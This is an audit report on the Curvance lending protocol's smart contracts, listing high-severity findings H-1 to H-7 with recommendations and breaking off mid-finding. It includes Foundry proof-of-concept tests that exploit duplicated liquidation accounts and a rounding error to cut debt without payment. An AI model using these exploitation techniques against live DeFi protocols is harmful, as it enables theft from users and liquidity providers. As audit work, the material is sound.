Blackthorn

Security Review For **Curvance**

Collaborative Audit Prepared For:	**Curvance**
Lead Security Expert(s):	**0xadrii**
	mstpr-brainbot
	pkqs90
	xiaoming90
Date Audited:	**August 25 - September 29, 2025**

Introduction

Curvance offers a modular, security-first lending protocol that supports the full lifecycle of productive on-chain capital. Instead of treating yield-bearing assets as edge cases, they're the standard.

It's not just an upgrade in interface or user experience. The foundation itself is built differently, designed for flexibility, adaptability, and sustained use across ecosystems.

This is lending built for scale.

Scope

Repository: curvance/Atlas-Integration

Audited Commit: 1cc1b9b1b6b448baa3372245e76df9c2aaf60aa5

Final Commit: 1cc1b9b1b6b448baa3372245e76df9c2aaf60aa5

Files:

- src/AuctionManager.sol

Repository: curvance/curvance-contracts

Audited Commit: 478fc3bed7ba9124fceeaf828605f39c205274d4

Final Commit: 1afe63a47faee5239e924cb135c6b803e63a9154

Files:

- contracts/architecture/CentralRegistry.sol
- contracts/architecture/DAOTimelock.sol
- contracts/calldata-checker/BaseCalldataChecker.sol
- contracts/calldata-checker/multicall-checker/BaseMulticallChecker.sol
- contracts/calldata-checker/multicall-checker/RedstoneAdaptorMulticallChecker.sol

- contracts/calldata-checker/swap-checker/BaseSwapChecker.sol
- contracts/calldata-checker/swap-checker/OdosCalldataChecker.sol
- contracts/libraries/ActionRegistry.sol
- contracts/libraries/Bytes32Helper.sol
- contracts/libraries/CentralRegistryLib.sol
- contracts/libraries/CommonLib.sol
- contracts/libraries/ConstantsLib.sol
- contracts/libraries/LowLevelCallsHelper.sol
- contracts/libraries/Multicall.sol
- contracts/libraries/PluginDelegable.sol
- contracts/libraries/ReentrancyGuardTransient.sol
- contracts/libraries/RescueLib.sol
- contracts/libraries/SwapperLib.sol
- contracts/market/DynamicIRM.sol
- contracts/market/isolated/LiquidityManagerIsolated.sol
- contracts/market/isolated/MarketManagerIsolated.sol
- contracts/market/position-management/BasePositionManager.sol
- contracts/market/position-management/NativeVaultPositionManager.sol
- contracts/market/position-management/SimplePositionManager.sol
- contracts/market/position-management/VaultPositionManager.sol
- contracts/market/token/BaseCToken.sol
- contracts/market/token/BaseCTokenWithYield.sol
- contracts/market/token/BorrowableCToken.sol
- contracts/oracles/adaptors/BaseOracleAdaptor.sol

- contracts/oracles/adaptors/chainlink/ChainlinkAdaptor.sol
- contracts/oracles/adaptors/redstone/RedstoneClassicAdaptor.sol
- contracts/oracles/adaptors/redstone/RedstoneCoreAdaptor.sol
- contracts/oracles/adaptors/wrappedAggregators/BaseWrappedAggregator.sol
- contracts/oracles/adaptors/wrappedAggregators/VaultAggregator.sol
- contracts/oracles/adaptors/wrappedAggregators/WstETHAggregator.sol
- contracts/oracles/OracleManager.sol
- contracts/plugins/BaseZapper.sol
- contracts/plugins/market/NativeVaultZapper.sol
- contracts/plugins/market/SimpleZapper.sol
- contracts/plugins/market/VaultZapper.sol

Findings

Each issue has an assigned severity:

- High issues are directly exploitable security vulnerabilities that need to be fixed.
- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- Low/Info issues are non-exploitable, informational findings that do not pose a security risk or impact the system's integrity. These issues are typically cosmetic or related to compliance requirements, and are not considered a priority for remediation.

Issues Found

High	Medium	Low/Info
8	10	20

Issues Not Fixed and Not Acknowledged

High	Medium	Low/Info
0	0	0

Security Experts Dedicated to This Review

@0xadrii

@mstpr-brainbot

@pkqs90

@xiaoming90

Issue H-1: Protocol will become an exit liquidity venue when the price drops below the Price Guard's minimum price [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/53

Vulnerability Detail

The price guard can be used to set the min/max price and/or the expected growth of an asset.

Assuming a stablecoin (e.g., USDC) priced in USD, one might try to set the min price to 0.9 USD and max price to 1.1 USD.

Assuming a LST (e.g., wstETH) priced in ETH, one might set the min price to 1 ETH, and max price to 1.3 ETH, and set the growth (`ips`) to around 3-5% annually.

Assume the price of USDC is currently 1 USD. A price drop can occur if a depeg event occurs. Similarly, for wsETH, a price of wstETH (in terms of ETH) can drop due to a mass slashing event.

The price here is used for the valuation of collateral in the market. Therefore, if the collateral price exceeds the max price (probably due to manipulation), the value of the collateral will be capped at the max price, limiting the amount of assets the users can borrow. This helps to protect the protocol, and this is similar to AAVE's CAPO. On a sidenote, the AAVE's CAPO only put a cap on the upper limit, but not the lower limit.

However, if a collateral price drops below the min price (e.g., USDC drops to 0.8 USD or wstETH drops to 0.95 ETH), the protocol will use the min price. If the collateral is USDC, it will be valued at 0.9 USD instead of 0.8 USD. There is no revert or circuit breaker in this case, as the `_adjustPrice` will simply overwrite the actual price with the min price, and proceed to pass this price to the rest of the protocol for consumption (e.g, valuation of collateral)

Thus, when the market price of USDC drops to 0.8, the protocol will become an exit liquidity venue for users. Users will deposit USDC (purchased from the market at 0.8) to

Curvance, and take advantage of the inflated collateral value (0.9) to borrow other assets.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/1395a227932c0c3114d340980d780b3b8a914088/curvance-contracts/contracts/oracles/adaptors/BaseOracleAdaptor.sol#L250

```
File: BaseOracleAdaptor.sol
227:     function _adjustPrice(
..SNIP..
247:         // Case where there is no realtime price increase so the PriceGuard
248:         // has static minimum/maximum guarded prices.
249:         if (pg.ips == 0) {
250:             if (price < pg.minPrice) {
251:                 return pg.minPrice;
252:             }
253:
254:             return price > pg.basePrice ? pg.basePrice : price;
255:         }
256:
```

Impact

The protocol will become an exit liquidity venue for users when the price drops below the Price Guard's minimum price.

Additionally, the following is a complete list of impacts related to this issue.

Value of Collateral asset drops below minPrice (e.g., 0.1 USD), but price cap at minPrice (e.g., 0.8 USD)

- Borrowing- Users can borrow more than expected and use the protocol for exit liquidity - Loss for the protocol and its liquidity providers
- Liquidation - Collateral price will be higher than expected. The liquidator will get less collateral than expected. Not ideal for liquidators
- Redemption - Collateral price inflated => Account's health inflated => User can withdraw more than expected before reaching LTV threshold - Loss for the protocol and its liquidity providers

Value of Debt asset drops below minPrice (e.g., 0.1 USD), but price cap at minPrice (e.g., 0.8 USD)

- The user's total debt value (in USD) will be inflated. Users borrow fewer than expected due to a high debt-to-collateral ratio - No loss to the protocol and its liquidity providers. However, users cannot borrow as much as they want, which leads to a poor user experience.
- Users might get liquidated when they shouldn't be because their debt value (in USD) is inflated - User get unfairly liquidated - Liquidation should revert.

Code Snippet

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/1395a227932c0c3114d340980d780b3b8a914088/curvance-contracts/contracts/oracles/adaptors/BaseOracleAdaptor.sol#L250

Tool Used

Manual Review

Recommendation

Consider blocking redemption/borrow/liquidation when the price falls below the minimum price to prevent malicious users from exploiting this.

Discussion

ZeroXMai

done @gas-limit

Issue H-2: Duplicated accounts during liquidation causing the user's entire debt to be liquidated [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/54

Vulnerability Detail

Assume that Bob is subjected to soft liquidation, and the maximum amount of debt that a liquidator can repay for Bob's account is 250.

However, the liquidator can pass the `accounts` array set to `[Bob, Bob]`.

The `marketManager.canLiquidate()` function checks whether each account can be liquidated, and it is a view function, which means it is not aware of any state changes. Thus, even evaluating whether Bob's account can be liquidated, the answer returned for both `[Bob, Bob]` will be the same. In addition, the state change (e.g., deduction of repaid debt from Bob's account) only occurs at the end of the liquidation.

Thus, a liquidator can end up repaying 500 of Bob's debt, effectively pushing the close factor to 100%.

POC

Bob has a debt of 0.7e18 DAI. Given Bob's lfactor of 0.42, the max debt that can be liquidated is only 0.37e18 DAI. However, the liquidator can set `account=[bob, bob]` and `debtAmounts=[0.35e18, 0.35e18]` to liquidate the entire debt of Bob's account.

```
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.28;

import { MockDataFeed } from "contracts/mocks/MockDataFeed.sol";
import "tests/market/TestBaseMarketIsolated.sol";
import { WAD, WAD_SQUARED } from "contracts/libraries/ConstantsLib.sol";
import { FixedPointMathLib } from
↪  "contracts/libraries/external/FixedPointMathLib.sol";
import { console2 } from "forge-std/console2.sol";
```

```
contract TestLiquidatingDuplicateAccount is TestBaseMarketIsolated {
    address public owner;

    receive() external payable {}

    fallback() external payable {}

    function setUp() public override {
        super.setUp();

        owner = address(this);

        // use mock pricing for testing
        mockUsdcFeed = new MockDataFeed(_CHAINLINK_USDC_USD);
        chainlinkAdaptor.addAsset(
            _USDC_ADDRESS,
            true,
            address(mockUsdcFeed),
            0
        );
        dualChainlinkAdaptor.addAsset(
            _USDC_ADDRESS,
            true,
            address(mockUsdcFeed),
            0
        );
        mockDaiFeed = new MockDataFeed(_CHAINLINK_DAI_USD);
        chainlinkAdaptor.addAsset(
            _DAI_ADDRESS,
            true,
            address(mockDaiFeed),
            0
        );
        dualChainlinkAdaptor.addAsset(
            _DAI_ADDRESS,
            true,
            address(mockDaiFeed),
```

```
    0
);

// start epoch
vm.warp(gaugeManager.gaugeStartTime());
vm.roll(block.number + 1000);

mockUsdcFeed.setMockUpdatedAt(block.timestamp);
mockDaiFeed.setMockUpdatedAt(block.timestamp);

(, int256 ethPrice, , , ) = mockWethFeed.latestRoundData();
chainlinkEthUsd.updateAnswer(ethPrice);

// Setup borrowable cUSDC.
{
    _prepareUSDC(owner, 200000e6);
    usdc.approve(address(borrowableCUSDC), 200000e6);
}

// Setup cDAI.
{
    _prepareDAI(owner, 200000e18);
    dai.approve(address(borrowableCDAI), 200000e18);

}

marketManagerIsolated.listTokens(address(borrowableCDAI),
↪  address(borrowableCUSDC));
// soft = 1.4 | hard = 1.3
_setCTokenConfigBasic(address(borrowableCDAI), 1_000_000e18, 1_000_000e18);
↪  // debt cap = 1m | debt asset
_setCTokenConfigBasic(address(borrowableCUSDC), 1_000_000e6, 0); // debt
↪  cap = 0 | collateral asset

mockDaiFeed.setMockAnswer(100_000e8); // debt
mockUsdcFeed.setMockAnswer(100_000e8); // collateral
```

```
        // provide enough liquidity
        provideEnoughLiquidityForLeverage();
    }

    function provideEnoughLiquidityForLeverage() internal {
        address liquidityProvider = makeAddr("liquidityProvider");
        _prepareUSDC(liquidityProvider, 200000e6);
        _prepareDAI(liquidityProvider, 200000e18);

        // Mint borrowable cUSDC.
        vm.startPrank(liquidityProvider);
        usdc.approve(address(borrowableCUSDC), 200000e6);
        borrowableCUSDC.deposit(200000e6, liquidityProvider);
        // Mint cDAI.
        dai.approve(address(borrowableCDAI), 200000e18);
        borrowableCDAI.deposit(200000e18, liquidityProvider);

        vm.stopPrank();
    }

    function testLiquidationDuplicateAccount() public {
        _prepareUSDC(user2, 1000e6); // user2 is normal user pending liquidation
        _prepareDAI(user3, 1000e18); // user3 = liquidator

        vm.startPrank(user2); // user2 is normal user pending liquidation
        usdc.approve(address(borrowableCUSDC), 1e6);
        borrowableCUSDC.deposit(1e6, user2);
        borrowableCUSDC.postCollateral(1e6);

        borrowableCDAI.borrow(0.7e18, user2); // borrow 0.7e18 DAI token
        ↪  (700000000000000000)
        vm.stopPrank(); // end of user2

        mockUsdcFeed.setMockAnswer(95_000e8); // Decrease the collateral to trigger
        ↪  soft liquidation on user2

        vm.startPrank(user3); // user3 = liquidator
        uint256 liquidatorBalanceBefore = dai.balanceOf(user3);
```

```
        dai.approve(address(borrowableCDAI), 1e18);

        address[] memory accounts = new address[](2);
        accounts[0] = user2;
        accounts[1] = user2;
        uint256[] memory debtAmounts = new uint256[](2);
        debtAmounts[0] = 0.35e18;
        debtAmounts[1] = 0.35e18;

        (,, uint256 debtBefore,) = marketManagerIsolated.liquidationValuesOf(user2);
        assertEq(debtBefore, 700000000000000000000); // user2 has a debt of
        ↪  0.7e18 DAI token (700000000000000000)

        borrowableCDAI.liquidateExact( // maxDebt for single liquidation is
        ↪  0.36988e18 (369880000000000000) because user2's lfactor is 0.42 (soft
        ↪  liquidation)
            debtAmounts,
            accounts, // However, we can workaround it by duplicating user2 in the
            ↪  "accounts" array
            address(borrowableCUSDC));
        vm.stopPrank();

        (,, uint256 debtAfter,) = marketManagerIsolated.liquidationValuesOf(user2);
        assertEq(debtAfter, 0); // user2 debt is zero
    }
}
```

Impact

The liquidator can liquidate the entire debt of a user, regardless of the current closing factor, leading to a loss for the users.

Code Snippet

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/1395a227932c0c3114d340980d780b3b8a914088/curvance-contracts/contracts/market/token/BorrowableCToken.sol#L328

Tool Used

Manual Review

Recommendation

Ensure that the accounts passed into the `liquidate` function are unique.

Discussion

ZeroXMai

done @gas-limit

Issue H-3: Liquidators can selectively use a price that is more beneficial to themselves at the expense of the users [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/58

Vulnerability Detail

This is only applicable to setup that uses single-oracle with Redstone Pull as its price feed. Dual-oracle has a built-in deviation check that should mitigate this issue if one of the price feeds is Chainlink/RedStone Push.

Assuming a worst-case scenario where both collateral and debt assets utilize the single oracle with Redstone Pull.

During the liquidation, the amount of collateral that the liquidator can receive is based on the following formula:

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/1395a227932c0c3114d340980d780b3b8a914088/curvance-contracts/contracts/market/isolated/MarketManagerIsolated.sol#L1428

```
File: MarketManagerIsolated.sol
1428:         uint256 debtToCollateral =
1429:             (((aData.liqInc * tData.debtUnderlyingPrice *
↪  WAD_SQUARED_BPS_OFFSET) /
1430:                 tData.collateralSharesPrice) * tData.collateralDecimals) /
1431:                     tData.debtDecimals;
```

$$\text{debtToCollateral} = \text{liqInc} \times \left(\frac{\text{debtUnderlyingPrice}}{\text{collateralSharePrice}}\right) \times \left(\frac{\text{collateralDecimals}}{\text{debtDecimals}}\right)$$

For Chainink and Redstone Push, the on-chain price will be forcefully and automatically updated when it crosses the price deviation threshold (e.g., 0.25% or 0.5%) or heartbeat threshold (e.g., 24 hours). Thus, the maximum value the liquidator can gain is bounded or

constrainted by price feed's configured deviation threshold.

In the test script and `RedstoneCoreAdaptor`, it was observed that the Redstone Push's default heartbeat is 10 minutes, which means any price within 10 minutes is acceptable (On a sidenote, the lower the heartbeat, the less likely this event will happen)

Assume that price of debt and collateral in `RedstoneCoreAdaptor` is 100 and 100, respectively. 1 debt = 1 collateral

Within the 10 minutes, the market price of debt decrease by 5%, while the market price of collateral increase by 5%. 1 debt = ~0.9 collateral.

In this case, a liquidator will maximize their profit by choosing not to update the price, allowing them to receive more collateral for the same amount of debt they repaid, at the expense of the users.

Impact

A liquidator will maximize their profit by choosing not to update the price, allowing them to receive more collateral for the same amount of debt they repaid, at the expense of the users

Code Snippet

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/1395a227932c0c3114d340980d780b3b8a914088/curvance-contracts/contracts/market/isolated/MarketManagerIsolated.sol#L1428

Tool Used

Manual Review

Recommendation

Consider reviewing the default heartbeat interval of 10 minutes and ensure that an appropriate heartbeat is configured for each asset during deployment. The risk can be mitigated by reducing the heartbeat, which shortens the window in which liquidators can selectively use a price that is more beneficial to themselves.

Discussion

ZeroXMai

done @gas-limit

Issue H-4: Debt can be reduced without re-paying the full amount by taking advantage of the rounding direction [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/59

Vulnerability Detail

The following formula is used during liquidation:

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/1395a227932c0c3114d340980d780b3b8a914088/curvance-contracts/contracts/market/isolated/MarketManagerIsolated.sol#L1428

```
File: ConstantsLib.sol
9: uint256 constant WAD_SQUARED_BPS_OFFSET = 1e32;

File: MarketManagerIsolated.sol
1428:         uint256 debtToCollateral =
1429:             (((aData.liqInc * tData.debtUnderlyingPrice *
↪  WAD_SQUARED_BPS_OFFSET) /
1430:                 tData.collateralSharesPrice) * tData.collateralDecimals) /
1431:                     tData.debtDecimals;
```

Assume the following setup:

- Current liquidation incentive is 11205
- Collateral Token is 6 decimals, and current market price is 100,000 USD (e.g., an asset pegged to BTC or derivative of BTC)
- Debt Token is 18 decimals, and current market price is 100,000 USD (e.g., an asset pegged to BTC or derivative of BTC)

$$\text{debtToCollateral} = \frac{\left(\frac{\text{liqInc} \cdot \text{debtUnderlyingPrice} \cdot \text{WAD\_SQUARED\_BPS\_OFFSET}}{\text{collateralSharesPrice}}\right) \cdot \text{collateralDecimals}}{\text{debtDecimals}}$$

$$\text{debtToCollateral} = \frac{\left(\frac{11205 \cdot 100000e18 \cdot \text{WAD\_SQUARED\_BPS\_OFFSET}}{95000e18}\right) \cdot 1e6}{1e18} = 1.1794e18 \cdot 1e6$$

After calculating the `debtToCollateral`, it will attempt to calculate the amount of collateral shares that should be removed from liquidatee's account.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/1395a227932c0c3114d340980d780b3b8a914088/curvance-contracts/contracts/market/isolated/MarketManagerIsolated.sol#L1440

```
File: MarketManagerIsolated.sol
1439:         // Calculate how many shares should be liquidated.
1440:         liquidatedShares = (debtAmount * debtToCollateral) / WAD_SQUARED;
```

$$\textit{liquidatedShares} = \frac{\textit{debtAmount} \cdot \textit{debtToCollateral}}{1e18 \cdot 1e18}$$

$$\textit{liquidatedShares} = \frac{\textit{debtAmount} \cdot 1.1794e18 \cdot 1e6}{1e18 \cdot 1e18}$$

$$\textit{liquidatedShares} = \frac{\textit{debtAmount} \cdot 1.1794e6}{1e18}$$

If `debtAmount` is less than 8.48e11, `liquidatedShares` will round to zero.

Since the `liquidatedShares` is zero, the code block here will be skip and the `debtAmount` debt asset for this specific account will not be collected from liquidator.

This means that ~8.48e11 (round up to 8.5e11) can be repaid without the liquidatee's collateral being reduced AND no debt asset is being collected from the liquidator. The liquidator's cost is the gas fee.

8.5e11 (0.00000085) of debt asset is worth around 0.1 USD.

```
// gas spent = 1727862 | Base Chain's current gas fee = 0.006 Gwei | 1 ETH = 4300
↪  USD | Cost = ~0.04 USD
```

0.1 USD debt get reduced by spending 0.04 USD, so net 0.06 USD. Although each round only reduces the debt by 0.1 USD, they can repeat the above step many times to reduce an account's debt until the account becomes healthy again.

If the malicious liquidator wants to optimize, they can chain up with the duplicated accounts in liquidation bug found earlier. I notice that if a malicious liquidator includes the same account twice, the gas price will increase by only ~1.5% (1727862 -> 1754375), but the debt that can be reduced without paying double to 0.2 USD (~1.70e11 debt asset).

If the ETH price and gas fee is lower, this will be more viable.

POC

```
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.28;

import { MockDataFeed } from "contracts/mocks/MockDataFeed.sol";
import "tests/market/TestBaseMarketIsolated.sol";
import { WAD, WAD_SQUARED } from "contracts/libraries/ConstantsLib.sol";
import { FixedPointMathLib } from
↪  "contracts/libraries/external/FixedPointMathLib.sol";
import { console2 } from "forge-std/console2.sol";

contract TestLiquidationRounding is TestBaseMarketIsolated {
    address public owner;

    receive() external payable {}

    fallback() external payable {}

    function setUp() public override {
        super.setUp();

        owner = address(this);

        // use mock pricing for testing
        mockUsdcFeed = new MockDataFeed(_CHAINLINK_USDC_USD);
        chainlinkAdaptor.addAsset(
            _USDC_ADDRESS,
            true,
            address(mockUsdcFeed),
            0
        );
```

```
        dualChainlinkAdaptor.addAsset(
            _USDC_ADDRESS,
            true,
            address(mockUsdcFeed),
            0
        );
        mockDaiFeed = new MockDataFeed(_CHAINLINK_DAI_USD);
        chainlinkAdaptor.addAsset(
            _DAI_ADDRESS,
            true,
            address(mockDaiFeed),
            0
        );
        dualChainlinkAdaptor.addAsset(
            _DAI_ADDRESS,
            true,
            address(mockDaiFeed),
            0
        );

        // start epoch
        vm.warp(gaugeManager.gaugeStartTime());
        vm.roll(block.number + 1000);

        mockUsdcFeed.setMockUpdatedAt(block.timestamp);
        mockDaiFeed.setMockUpdatedAt(block.timestamp);

        (, int256 ethPrice, , , ) = mockWethFeed.latestRoundData();
        chainlinkEthUsd.updateAnswer(ethPrice);

        // Setup borrowable cUSDC.
        {
            _prepareUSDC(owner, 200000e6);
            usdc.approve(address(borrowableCUSDC), 200000e6);
        }

        // Setup cDAI.
        {
```

```
        _prepareDAI(owner, 200000e18);
        dai.approve(address(borrowableCDAI), 200000e18);

    }

    marketManagerIsolated.listTokens(address(borrowableCDAI),
    ↪  address(borrowableCUSDC));
    // soft = 1.4 | hard = 1.3
    _setCTokenConfigBasic(address(borrowableCDAI), 1_000_000e18, 1_000_000e18);
    ↪  // debt cap = 1m | debt asset
    _setCTokenConfigBasic(address(borrowableCUSDC), 1_000_000e6, 0); // debt
    ↪  cap = 0 | collateral asset

    mockDaiFeed.setMockAnswer(100_000e8); // debt
    mockUsdcFeed.setMockAnswer(100_000e8); // collateral


    // provide enough liquidity
    provideEnoughLiquidityForLeverage();
}

function provideEnoughLiquidityForLeverage() internal {
    address liquidityProvider = makeAddr("liquidityProvider");
    _prepareUSDC(liquidityProvider, 200000e6);
    _prepareDAI(liquidityProvider, 200000e18);

    // Mint borrowable cUSDC.
    vm.startPrank(liquidityProvider);
    usdc.approve(address(borrowableCUSDC), 200000e6);
    borrowableCUSDC.deposit(200000e6, liquidityProvider);
    // Mint cDAI.
    dai.approve(address(borrowableCDAI), 200000e18);
    borrowableCDAI.deposit(200000e18, liquidityProvider);

    vm.stopPrank();
}

function printLiquidationValuesOf(address account) public {
```

```
        console2.log(" ==== printLiquidationValuesOf === ");
        (uint256 cSoft, uint256 cHard, uint256 debt, uint256 lFactor) =
        ↪  marketManagerIsolated.liquidationValuesOf(account);
        console2.log("cSoft: %d", cSoft);
        console2.log("cHard: %d", cHard);
        console2.log("debt: %d", debt);
        console2.log("lFactor: %d", lFactor);
    }

    function testLiquidationRounding() public {
        _prepareUSDC(user1, 10e6); // user1 is related to liquidator
        _prepareUSDC(user2, 10e6); // user2 is normal user pending liquidation
        _prepareDAI(user3, 1e18); // user3 = liquidator


        vm.startPrank(user1); // user1 is aligned with liquidator
        usdc.approve(address(borrowableCUSDC), 1e6);
        borrowableCUSDC.deposit(1e6, user1);
        borrowableCUSDC.postCollateral(1e6);

        borrowableCDAI.borrow(0.7e18, user1);
        vm.stopPrank(); // end of user1

        vm.startPrank(user2); // user2 is normal user pending liquidation
        usdc.approve(address(borrowableCUSDC), 1e6);
        borrowableCUSDC.deposit(1e6, user2);
        borrowableCUSDC.postCollateral(1e6);

        borrowableCDAI.borrow(0.7e18, user2);
        vm.stopPrank(); // end of user2

        mockUsdcFeed.setMockAnswer(95_000e8); // Decrease the collateral to trigger
        ↪  soft liquidation on both user1 and user2

        vm.startPrank(user3); // user3 = liquidator
        uint256 liquidatorBalanceBefore = dai.balanceOf(user3);
        dai.approve(address(borrowableCDAI), 1e18);
```

```
        uint256 userDebtBefore = borrowableCDAI.debtBalance(user1);

        address[] memory accounts = new address[](2);
        accounts[0] = user1;
        accounts[1] = user2;
        // accounts[2] = user1; // Only if want to test bundling same account twice
        ↪  to optimize
        uint256[] memory debtAmounts = new uint256[](2);
        debtAmounts[0] = 8.47e11;
        debtAmounts[1] = 8.5e11;
        // debtAmounts[2] = 8.47e11;  // Only if want to test bundling same account
        ↪  twice to optimize
        borrowableCDAI.liquidateExact( // Current adata.liqInc = 11205
            debtAmounts,
            accounts,
            address(borrowableCUSDC));
        console2.log("Liquidator is supposed to repay/spent %d for liquidating
        ↪  user1 + user2", debtAmounts[0] + debtAmounts[1]);

        uint256 liquidatorBalanceAfter = dai.balanceOf(user3);
        console2.log("Liquidator balance only decrease by %d",
        ↪  liquidatorBalanceBefore - liquidatorBalanceAfter);
        assertEq(liquidatorBalanceAfter, liquidatorBalanceBefore - debtAmounts[1]);
        ↪  // Prove that liquidator did not spent any debt asset for
        ↪  "debtAmounts[0] = 8.47e11"

        uint256 userDebtAfter = borrowableCDAI.debtBalance(user1);
        console2.log("User1 debt decrease by %d", userDebtBefore - userDebtAfter);
        ↪  // answer = 847000000000 = ~0.00000085 BTC => ~0.1 USD

        vm.stopPrank();
    } // gas spent = 1727862 (2 users liquidated) | Current Base gas fee = 0.006
    ↪  Gwei | 1 ETH = 4300 USD | Cost = ~0.04 USD
}
```

Result

```
Logs:
```

```
Current aData.liqInc = 11205
debtToCollateral = 1179473684210526315789473
Current aData.liqInc = 11205
debtToCollateral = 1179473684210526315789473
Liquidator is supposed to repay/spent 1697000000000 for liquidating user1 + user2
Liquidator balance only decrease by 850000000000
User1 debt decrease by 847000000000
```

The result from the logs shows that the liquidator is supposed to spent 1697000000000 to liquidate 2 users, but he end up only paying for the user2 (850000000000), but not user1 (847000000000). Thus, user1's debt get reduced for free.

Impact

If a market with BTC-related tokens or other high-value token is deployed, users can repaid a portion of their debt without repaying the full amount.

Code Snippet

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/1395a227932c0c3114d340980d780b3b8a914088/curvance-contracts/contracts/market/isolated/MarketManagerIsolated.sol#L1428

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/1395a227932c0c3114d340980d780b3b8a914088/curvance-contracts/contracts/market/isolated/MarketManagerIsolated.sol#L1440

Tool Used

Manual Review

Recommendation

Consider improving the logic in this section of the liquidation code to handle potential edge cases.

Specifically, for this issue, even if the `liquidatedShares` get rounded down to zero, the `re`

`sult.debtRepaid` should still get updated to `8.48e11`. In this case, `8.48e11` debt asset will be collected from the liquidator here before reducing the user's debt by `8.48e11` here.

There must not be a scenario where user's debt can get reduced by `x` debt asset, but `x` debt asset is not collected from the liquidator. Thus, the following invariant must always hold:

$$\sum_{i \in \mathcal{A} \rfloor]\wr \sqcap \backslash \sqcup \int} \text{DebtReduced}_i = \text{DebtCollected}_{\text{Liquidator}}$$

It is recommended to include an invariant check to ensure that the amount of debt reduced for all accounts is always equal to amount of debt asset collected from liquidator, which will prevent malicious user/liquidator from exploiting rounding error to reduce debt without repaying the full amount.

Alternatively, since the above invariant must always hold, another solution might be to keep track of the total debt reduced from all user's accounts, and then collect the total debt amount from the liquidator at the end of the liquidation process. The current issue occurs because the `result.debtRepaid` is not in sync with the the total debt reduced from all user's accounts.

Discussion

ZeroXMai

done @gas-limit

Issue H-5: `BaseCToken::_checkTransfer` does not check for correct owner. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/61

Summary

`BaseCToken::_checkTransfer` does not check for correct owner.

Vulnerability Detail

When we're using `transferFrom` for BaseCToken, it does not check for the correct owner. It performs liquidity checks on `msg.sender` instead of token owner, which can fail or pass unexpectedly.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/market/token/BaseCToken.sol#L1307

```
    function _checkTransfer(
        uint256 shares,
        address receiver,
        address owner
    ) internal {
        _checkZeroAmount(shares);
        if (owner == receiver) {
            revert BaseCToken__TransferError();
        }

        uint256 collateralOf = collateralPosted[owner];

        // Fails if transfer not allowed.
        uint256 collateralRedeemed = marketManager.canTransfer(
            address(this),
            shares,
            // @audit-bug: [H] Should be owner here. transferFrom can fail.
@>          msg.sender,
```

```
            balanceOf(owner),
            collateralOf,
            collateralOf > 0 ? true : false
        );

        if (collateralRedeemed > 0) {
            _removeCollateral(collateralRedeemed, owner);
        }

        _beforeTransferAction(shares, receiver, owner);
    }
```

Impact

When transferring tokens, we perform liquidity check on the token owner. Since this check is done on the wrong address, the impact is:

1. Token transfer may revert when it shouldn't (e.g. not enough liquidity for `msg.sender`)
2. Token transfer may pass when it shouldn't (e.g. enough liquidity for `msg.sender`, but not for token owner)

Recommendation

Use `owner` instead of `msg.sender`.

Discussion

ZeroXMai

done @gas-limit

Issue H-6: Incorrect oracle price used for user's first borrow. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/63

Summary

Incorrect oracle price used for user's first borrow.

Vulnerability Detail

In the `LiquidityManagerIsolated.sol::_hypotheticalLiquidityOf` function, we check if the user has enough liquidity to perform redemption and borrow actions.

We first fetch the oracle price for the debt token, and then calculate it by `action.borrowAssets * prices[i]`. However, in OracleManager, if an account does NOT have any debt yet, it assumes it is collateral by default, and uses the cToken price instead of the underlying price.

This means, for example, for cUSDT, the cToken price may be 1.2 (due to interest accrual), and we will overprice the debt, which means users can borrow less than they're able to. In a more extreme scenario, if a cToken was liquidated and it has a smaller than WAD exchange rate due to bad debt, then we will underprice the debt, which means users can borrow more than they're able to, and may lead to insolvency.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/market/isolated/LiquidityManagerIsolated.sol#L423-L428

```
                    newDebt += _assetValue(
                        action.borrowAssets,
@>                      prices[i],
                        10 ** snap.decimals,
                        false
                    );
```

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvanc

e-contracts/contracts/market/token/BorrowableCToken.sol#L385-L395

```
    function getSnapshot(
        address account
    ) external view override returns (AccountSnapshot memory result) {
        uint256 outstandingDebt = debtBalance(account);

        result.asset = address(this);
        result.decimals = decimals();
@>      result.isCollateral = outstandingDebt > 0 ? false : true;
        result.collateralPosted = collateralPosted[account];
        result.debtBalance = outstandingDebt;
    }
```

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/oracles/OracleManager.sol#L466-L470

```
(prices[i], errorCode) = getPrice(
    snapshots[i].isCollateral ? asset : cTokens[asset],
    true,
    snapshots[i].isCollateral
);
```

Impact

User may borrow less or more than they should. In an extreme scenario, if cToken has a smaller than WAD exchange rate due to bad debt, then we will underprice the debt, which means users can borrow more than they're able to, and may lead to insolvency.

Recommendation

Always use underlying token price when pricing the debt.

Discussion

ZeroXMai

done @gas-limit

Issue H-7: Exact liquidations allow attackers to drain the protocol [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/69

Summary

The feature that allows liquidating exact debt from users doesn't fully prevent liquidating healthy positions. This can be leveraged by attackers to drain the protocol.

Vulnerability Detail

